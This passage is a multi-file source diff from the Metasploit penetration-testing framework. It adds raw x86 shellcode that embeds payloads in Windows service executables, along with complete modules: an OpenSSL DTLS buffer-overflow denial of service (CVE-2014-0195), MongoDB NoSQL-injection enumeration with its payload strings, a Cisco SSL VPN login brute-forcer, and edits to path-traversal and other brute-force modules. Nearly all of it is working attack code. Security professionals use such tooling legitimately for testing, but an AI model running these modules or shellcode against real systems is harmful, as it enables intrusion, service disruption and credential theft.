pushes = "h\x00\x00\x00\x00"
end
# string is now 4 bytes aligned with null byte
# push string to stack, starting at the back
while (str.length > 0)
four = 'h'+str.slice!(-4,4)
pushes << four
end
pushes
end
def self.exe_sub_method(code,opts ={})
pe = ''
@ -462,11 +518,82 @@ require 'msf/core/exe/segment_injector'
exe_sub_method(code,opts)
end
# Embeds shellcode within a Windows PE file implementing the Windows
# service control methods.
#
# @param framework [Object]
# @param code [String] shellcode to be embedded
# @option opts [Boolean] :sub_method use substitution technique with a
# service template PE
# @option opts [String] :servicename name of the service, not used in
# substituion technique
#
# @return [String] Windows Service PE file
def self.to_win32pe_service(framework, code, opts={})
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x86_windows_svc.exe")
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
if opts[:sub_method]
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x86_windows_svc.exe")
opts[:exe_type] = :service_exe
return exe_sub_method(code,opts)
else
name = opts[:servicename]
name ||= Rex::Text.rand_text_alpha(8)
pushed_service_name = string_to_pushes(name)
precode_size = 0xc6
svcmain_code_offset = precode_size + pushed_service_name.length
precode_size = 0xcc
hash_code_offset = precode_size + pushed_service_name.length
precode_size = 0xbf
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
code_service_stopped =
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
pushed_service_name+"\x89\xE1\x8D\x47\x03\x6A\x00" +
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
precode_size = 0x42
shellcode_code_offset = code_service_stopped.length + precode_size
# code_service could be encoded in the future
code_service =
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1" +
"\x8D\x85"+[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
[shellcode_code_offset].pack('<I')+"\x54\x68"+[code.length].pack('<I') +
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
"\x51\x68\xC6\x96\x87\x52\xFF\xD5" +
code_service_stopped
return to_winpe_only(framework, code_service + code, opts)
end
end
def self.to_win64pe_service(framework, code, opts={})

View File

@ -18,6 +18,7 @@ class Webcam
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::WebRTC
def initialize(client)
@client = client
@ -195,66 +196,6 @@ class Webcam
end
end
#
# Connects to a video chat session as an answerer
#
# @param offerer_id [String] The offerer's ID in order to join the video chat
# @return void
#
def connect_video_chat(server, channel, offerer_id)
interface = load_interface('answerer.html')
api = load_api_code
tmp_api = Tempfile.new('api.js')
tmp_api.binmode
tmp_api.write(api)
tmp_api.close
interface = interface.gsub(/\=SERVER\=/, server)
interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
interface = interface.gsub(/\=RHOST\=/, rhost)
interface = interface.gsub(/\=CHANNEL\=/, channel)
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
tmp_interface = Tempfile.new('answerer.html')
tmp_interface.binmode
tmp_interface.write(interface)
tmp_interface.close
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
unless found_local_browser
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
end
end
#
# Returns the webcam interface
#
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
# @return [String] The HTML interface code
#
def load_interface(html_name)
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
interface_code = ''
::File.open(interface_path) { |f| interface_code = f.read }
interface_code
end
#
# Returns the webcam API
#
# @return [String] The WebRTC lib code
#
def load_api_code
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
api = ''
::File.open(js_api_path) { |f| api = f.read }
api
end
end
end; end; end; end; end; end

View File

@ -0,0 +1,91 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Chromecast YouTube Remote Control',
'Description' => %q{
This module acts as a simple remote control for Chromecast YouTube.
},
'Author' => ['wvu'],
'References' => [
['URL', 'https://en.wikipedia.org/wiki/Chromecast']
],
'License' => MSF_LICENSE,
'Actions' => [
['Play', 'Description' => 'Play video'],
['Stop', 'Description' => 'Stop video']
],
'DefaultAction' => 'Play'
))
register_options([
Opt::RPORT(8008),
OptString.new('VID', [true, 'Video ID', 'kxopViU98Xo'])
], self.class)
end
def run
vid = datastore['VID']
case action.name
when 'Play'
res = play(vid)
when 'Stop'
res = stop
end
return unless res
case res.code
when 201
print_good("Playing https://www.youtube.com/watch?v=#{vid}")
when 200
print_status("Stopping video")
when 404
print_error("Couldn't #{action.name.downcase} video")
end
end
def play(vid)
begin
send_request_cgi(
'method' => 'POST',
'uri' => '/apps/YouTube',
'agent' => Rex::Text.rand_text_english(rand(42) + 1),
'vars_post' => {
'v' => vid
}
)
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable => e
fail_with(Failure::Unreachable, e)
ensure
disconnect
end
end
def stop
begin
send_request_raw(
'method' => 'DELETE',
'uri' => '/apps/YouTube',
'agent' => Rex::Text.rand_text_english(rand(42) + 1)
)
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable => e
fail_with(Failure::Unreachable, e)
ensure
disconnect
end
end
end

View File

@ -358,7 +358,7 @@ class Metasploit3 < Msf::Auxiliary
#CREATE TABLE TO STORE SQL SERVER DATA LOOT
sql_data_tbl = Rex::Ui::Text::Table.new(
'Header' => 'SQL Server Data',
'Ident' => 1,
'Indent' => 1,
'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']
)

View File

@ -153,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
users_table = Rex::Ui::Text::Table.new(
'Header' => 'Advantech WebAccess Users',
'Ident' => 1,
'Indent' => 1,
'Columns' => ['Username', 'Encrypted Password', 'Key', 'Recovered password', 'Origin']
)

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
'Description' => %q{
This module performs a Denial of Service Attack against Datagram TLS in
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
This occurs when a DTLS ClientHello message has multiple fragments and the
fragment lengths of later fragments are larger than that of the first, a
buffer overflow occurs, causing a DoS.
},
'Author' =>
[
'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0195'],
['ZDI', '14-173'],
['BID', '67900'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
],
'DisclosureDate' => 'Jun 05 2014'))
register_options([
Opt::RPORT(4433),
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
], self.class)
end
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
# fragment offset (3 bytes), fragment length (3 bytes), fragment body
sol = (seq << 48) | (frag_offset << 24) | frag_length
[
(type << 24) | length,
(sol >> 32),
(sol & 0x00000000FFFFFFFF)
].pack("NNN") + frag_body
end
def build_tls_message(type, version, epoch, sequence, message)
# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
# sequence # (6 bytes) + message length (2 bytes), message body
es = (epoch << 48) | sequence
[
type,
version,
(es >> 32),
(es & 0x00000000FFFFFFFF),
message.length
].pack("CnNNn") + message
end
def run
# add a small fragment
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
# add a large fragment where the length is significantly larger than that of the first
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
connect_udp
print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
udp_sock.put(message)
disconnect_udp
end
end

View File

@ -0,0 +1,152 @@
##
## This module requires Metasploit: http//metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "MongoDB NoSQL Collection Enumeration Via Injection",
'Description' => %q{
This module can exploit NoSQL injections on MongoDB versions less than 2.4
and enumerate the collections available in the data via boolean injections.
},
'License' => MSF_LICENSE,
'Author' =>
['Brandon Perry <bperry.volatile[at]gmail.com>'],
'References' =>
[
['URL', 'http://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-node-js-server-side-javascript']
],
'Platform' => ['linux', 'win'],
'Privileged' => false,
'DisclosureDate' => "Jun 7 2014"))
register_options(
[
OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]'])
], self.class)
end
def syntaxes
[["\"'||this||'", "'||[inject]||'"],
["\"';return+true;var+foo='", "';return+[inject];var+foo='"],
['\'"||this||"','"||[inject]||"'],
['\'";return+true;var+foo="', '";return+[inject];var+foo="'],
["||this","||[inject]"]]
end
def run
uri = datastore['TARGETURI']
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', '')
})
if !res
fail_with("Server did not respond in an expected way.")
end
pay = ""
fals = res.body
tru = nil
syntaxes.each do |payload|
print_status("Testing " + payload[0])
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', payload[0])
})
if res and res.body != fals and res.code == 200
print_status("Looks like " + payload[0] + " works")
tru = res.body
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this'))
})
if res and res.body != tru and res.code == 200
vprint_status("I think I confirmed with a negative test.")
fals = res.body
pay = payload[1]
break
end
end
end
if pay == ''
fail_with("Couldn't detect a payload, maybe it isn't injectable.")
end
length = 0
vprint_status("Getting length of the number of collections.")
(0..100).each do |len|
str = "db.getCollectionNames().length==#{len}"
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
})
if res and res.body == tru
length = len
print_status("#{len} collections are available")
break
end
end
vprint_status("Getting collection names")
names = []
(0...length).each do |i|
vprint_status("Getting length of name for collection " + i.to_s)
name_len = 0
(0..100).each do |k|
str = "db.getCollectionNames()[#{i}].length==#{k}"
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
})
if res and res.body == tru
name_len = k
print_status("Length of collection #{i}'s name is #{k}")
break
end
end
vprint_status("Getting collection #{i}'s name")
name = ''
(0...name_len).each do |k|
[*('a'..'z'),*('0'..'9'),*('A'..'Z'),'.'].each do |c|
str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
})
if res and res.body == tru
name << c
break
end
end
end
print_status("Collections #{i}'s name is " + name)
names << name
end
p = store_loot("mongo_injection.#{datastore['RHOST']}_collections",
"text/plain",
nil,
names.to_json,
"mongo_injection_#{datastore['RHOST']}.txt",
"#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration")
print_good("Your collections are located at: " + p)
end
end

View File

@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary
users_table = Rex::Ui::Text::Table.new(
'Header' => 'vBulletin Users',
'Ident' => 1,
'Indent' => 1,
'Columns' => ['Username', 'Password Hash', 'Salt']
)

View File

@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary
key_md5 = ::Rex::Text.md5(key)
hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}"
url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache")
uri << hash_path
url << hash_path
result = nil
begin

View File

@ -4,6 +4,7 @@
##
require 'msf/core'
require 'msf/core/module/deprecated'
class Metasploit3 < Msf::Auxiliary
@ -11,11 +12,16 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Module::Deprecated
DEPRECATION_DATE = Date.new(2014, 07, 29)
DEPRECATION_REPLACEMENT = 'auxiliary/scanner/elasticsearch/indices_enum'
def initialize(info = {})
super(update_info(info,
'Name' => 'ElasticSearch Indeces Enumeration Utility',
'Name' => 'ElasticSearch Indices Enumeration Utility',
'Description' => %q{
This module enumerates ElasticSearch Indeces. It uses the REST API
This module enumerates ElasticSearch Indices. It uses the REST API
in order to make it.
},
'Author' =>
@ -36,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(ip)
vprint_status("#{peer} - Querying indeces...")
vprint_status("#{peer} - Querying indices...")
begin
res = send_request_raw({
'uri' => '/_aliases',
@ -66,10 +72,10 @@ class Metasploit3 < Msf::Auxiliary
:name => 'elasticsearch'
)
indeces = []
indices = []
json_body.each do |index|
indeces.push(index[0])
indices.push(index[0])
report_note(
:host => rhost,
:port => rport,
@ -80,8 +86,8 @@ class Metasploit3 < Msf::Auxiliary
)
end
if indeces.length > 0
print_good("#{peer} - ElasticSearch Indeces found: #{indeces.join(", ")}")
if indices.length > 0
print_good("#{peer} - ElasticSearch Indices found: #{indices.join(", ")}")
end
end

View File

@ -0,0 +1,89 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'ElasticSearch Indices Enumeration Utility',
'Description' => %q{
This module enumerates ElasticSearch Indices. It uses the REST API
in order to make it.
},
'Author' =>
[
'Silas Cutler <Silas.Cutler[at]BlackListThisDomain.com>'
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(9200)
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def run_host(ip)
vprint_status("#{peer} - Querying indices...")
begin
res = send_request_raw({
'uri' => '/_aliases',
'method' => 'GET',
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable
vprint_error("#{peer} - Unable to establish connection")
return
end
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
vprint_error("#{peer} - Unable to parse JSON")
return
end
else
vprint_error("#{peer} - Timeout or unexpected response...")
return
end
report_service(
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => 'elasticsearch'
)
indices = []
json_body.each do |index|
indices.push(index[0])
report_note(
:host => rhost,
:port => rport,
:proto => 'tcp',
:type => "elasticsearch.index",
:data => index[0],
:update => :unique_data
)
end
if indices.length > 0
print_good("#{peer} - ElasticSearch Indices found: #{indices.join(", ")}")
end
end
end

View File

@ -0,0 +1,227 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cisco SSL VPN Bruteforce Login Utility',
'Description' => %{
This module scans for Cisco SSL VPN web login portals and
performs login brute force to identify valid credentials.
},
'Author' =>
[
'Jonathan Claudius <jclaudius[at]trustwave.com>'
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => true,
'USERNAME' => 'cisco',
'PASSWORD' => 'cisco'
}
))
register_options(
[
Opt::RPORT(443),
OptString.new('GROUP', [false, "A specific VPN group to use", ''])
], self.class)
end
def run_host(ip)
unless check_conn?
vprint_error("#{peer} - Connection failed, Aborting...")
return false
end
unless is_app_ssl_vpn?
vprint_error("#{peer} - Application does not appear to be Cisco SSL VPN. Module will not continue.")
return false
end
vprint_good("#{peer} - Application appears to be Cisco SSL VPN. Module will continue.")
groups = Set.new
if datastore['GROUP'].empty?
vprint_status("#{peer} - Attempt to Enumerate VPN Groups...")
groups = enumerate_vpn_groups
if groups.empty?
vprint_warning("#{peer} - Unable to enumerate groups")
vprint_warning("#{peer} - Using the default group: DefaultWEBVPNGroup")
groups << "DefaultWEBVPNGroup"
else
vprint_good("#{peer} - Enumerated VPN Groups: #{groups.to_a.join(", ")}")
end
else
groups << datastore['GROUP']
end
groups << ""
vprint_status("#{peer} - Starting login brute force...")
groups.each do |group|
each_user_pass do |user, pass|
do_login(user, pass, group)
end
end
end
# Verify whether the connection is working or not
def check_conn?
begin
res = send_request_cgi('uri' => '/', 'method' => 'GET')
vprint_good("#{peer} - Server is responsive...")
rescue ::Rex::ConnectionRefused,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionError,
::Errno::EPIPE
return
end
end
def enumerate_vpn_groups
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
)
if res &&
res.code == 302
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
'vars_get' => { 'fcadbadd' => "1" }
)
end
groups = Set.new
group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/
if res &&
match = res.body.match(group_name_regex)
group_string = match[1]
groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set
end
return groups
end
# Verify whether we're working with SSL VPN or not
def is_app_ssl_vpn?
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
)
if res &&
res.code == 302
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
'vars_get' => { 'fcadbadd' => "1" }
)
end
if res &&
res.code == 200 &&
res.body.match(/webvpnlogin/)
return true
else
return false
end
end
def do_logout(cookie)
res = send_request_cgi(
'uri' => '/+webvpn+/webvpn_logout.html',
'method' => 'GET',
'cookie' => cookie
)
end
# Brute-force the login page
def do_login(user, pass, group)
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}")
begin
cookie = "webvpn=; " +
"webvpnc=; " +
"webvpn_portal=; " +
"webvpnSharePoint=; " +
"webvpnlogin=1; " +
"webvpnLang=en;"
post_params = {
'tgroup' => '',
'next' => '',
'tgcookieset' => '',
'username' => user,
'password' => pass,
'Login' => 'Logon'
}
post_params['group_list'] = group unless group.empty?
resp = send_request_cgi(
'uri' => '/+webvpn+/index.html',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' => post_params
)
if resp &&
resp.code == 200 &&
resp.body.match(/SSL VPN Service/) &&
resp.body.match(/webvpn_logout/i)
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
do_logout(resp.get_cookies)
report_hash = {
:host => rhost,
:port => rport,
:sname => 'Cisco SSL VPN',
:user => user,
:pass => pass,
:group => group,
:active => true,
:type => 'password'
}
report_auth_info(report_hash)
return :next_user
else
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
end
rescue ::Rex::ConnectionRefused,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionError,
::Errno::EPIPE
vprint_error("#{peer} - HTTP Connection Failed, Aborting")
return :abort
end
end
end

View File

@ -10,6 +10,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
@ -39,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
def get_sid_token
res = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(@uri.path)
'uri' => normalize_uri(@uri)
})
return [nil, nil] if res.nil? || res.get_cookies.empty?
@ -62,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary
#
sid, token = get_sid_token
if sid.nil? or token.nil?
print_error("#{peer} - Unable to obtain session ID or token, cannot continue")
vprint_error("#{peer} - Unable to obtain session ID or token, cannot continue")
return :abort
else
vprint_status("#{peer} - Using sessiond ID: #{sid}")
@ -72,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{@uri.path}index.php"),
'uri' => normalize_uri("#{@uri}index.php"),
'cookie' => sid,
'vars_post' => {
'token' => token,
@ -91,7 +92,7 @@ class Metasploit3 < Msf::Auxiliary
end
if res.nil?
print_error("#{peer} - Connection timed out")
vprint_error("#{peer} - Connection timed out")
return :abort
end
@ -116,8 +117,12 @@ class Metasploit3 < Msf::Auxiliary
def run
@uri = target_uri.path
@uri.path << "/" if @uri.path[-1, 1] != "/"
@uri << "/" if @uri[-1, 1] != "/"
super
end
def run_host(ip)
each_user_pass { |user, pass|
vprint_status("#{peer} - Trying \"#{user}:#{pass}\"")
do_login(user, pass)

View File

@ -13,10 +13,10 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super(update_info(info,
'Name' => 'EtherPAD Duo Login Brute Force Utility',
'Name' => 'EtherPAD Duo Login Bruteforce Utility',
'Description' => %{
This module scans for EtherPAD Duo login portal, and
performs a login brute force attack to identify valid credentials.
performs a login bruteforce attack to identify valid credentials.
},
'Author' =>
[
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
return
end
print_status("#{peer} - Starting login brute force...")
print_status("#{peer} - Starting login bruteforce...")
each_user_pass do |user, pass|
do_login(user, pass)
end

View File

@ -10,6 +10,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
@ -55,11 +56,11 @@ class Metasploit3 < Msf::Auxiliary
})
if not res
print_error("#{peer} - Connection timed out")
vprint_error("#{peer} - Connection timed out")
return :abort
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
print_error("#{peer} - Failed to response")
vprint_error("#{peer} - Failed to response")
return :abort
end
@ -79,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run
def run_host(ip)
if anonymous_access?
print_status("#{peer} - No login necessary. Server allows anonymous access.")
return

View File

@ -76,4 +76,4 @@ class Metasploit3 < Msf::Auxiliary
end
end
end
end

View File

@ -14,10 +14,10 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super(update_info(info,
'Name' => 'PocketPAD Login Brute Force Utility',
'Name' => 'PocketPAD Login Bruteforce Force Utility',
'Description' => %{
This module scans for PocketPAD login portal, and
performs a login brute force attack to identify valid credentials.
performs a login bruteforce attack to identify valid credentials.
},
'Author' =>
[
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
return
end
print_status("#{peer} - Starting login brute force...")
print_status("#{peer} - Starting login bruteforce...")
each_user_pass do |user, pass|
do_login(user, pass)
end

View File

@ -96,4 +96,4 @@ class Metasploit3 < Msf::Auxiliary
end
end
end
end

View File

@ -8,6 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
@ -41,13 +42,13 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def run
def run_host(ip)
uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'
t = "/.." * datastore['DEPTH']
print_status("Retrieving #{datastore['FILE']}")
vprint_status("#{peer} - Retrieving #{datastore['FILE']}")
# No permission to access.log or proc/self/environ, so this is all we do :-/
uri = normalize_uri(uri, 'index.php')
@ -57,13 +58,14 @@ class Metasploit3 < Msf::Auxiliary
})
if not res
print_error("Server timed out")
vprint_error("#{peer} - Server timed out")
elsif res and res.body =~ /Error 404 requested page cannot be found/
print_error("Either the file doesn't exist, or you don't have the permission to get it")
vprint_error("#{peer} - Either the file doesn't exist, or you don't have the permission to get it")
else
# We don't save the body by default, because there's also other junk in it.
# But we still have a SAVE option just in case
print_line(res.body)
print_good("#{peer} - #{datastore['FILE']} retrieved")
vprint_line(res.body)
if datastore['SAVE']
p = store_loot(
@ -73,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
res.body,
::File.basename(datastore['FILE'])
)
print_status("File saved as: #{p}")
print_good("#{peer} - File saved as: #{p}")
end
end
end

View File

@ -10,14 +10,15 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'V-CMS Login Utility',
'Description' => %q{
This module attempts to authenticate to an English-based V-CMS login interface.
It should only work against version v1.1 or older, because these versions do not
have any default protections against bruteforcing.
This module attempts to authenticate to an English-based V-CMS login interface. It
should only work against version v1.1 or older, because these versions do not have
any default protections against bruteforcing.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE
@ -31,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms2/'])
OptString.new('TARGETURI', [true, 'The URI path to V-CMS', '/vcms2/'])
], self.class)
end
@ -39,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
def get_sid
res = send_request_raw({
'method' => 'GET',
'uri' => @uri.path
'uri' => @uri
})
# Get the PHP session ID
@ -52,6 +53,11 @@ class Metasploit3 < Msf::Auxiliary
def do_login(user, pass)
begin
sid = get_sid
if sid.nil?
vprint_error("#{peer} - Failed to get sid")
return :abort
end
res = send_request_cgi({
'uri' => "#{@uri}process.php",
'method' => 'POST',
@ -62,9 +68,7 @@ class Metasploit3 < Msf::Auxiliary
'sublogin' => '1'
}
})
location = res.headers['Location']
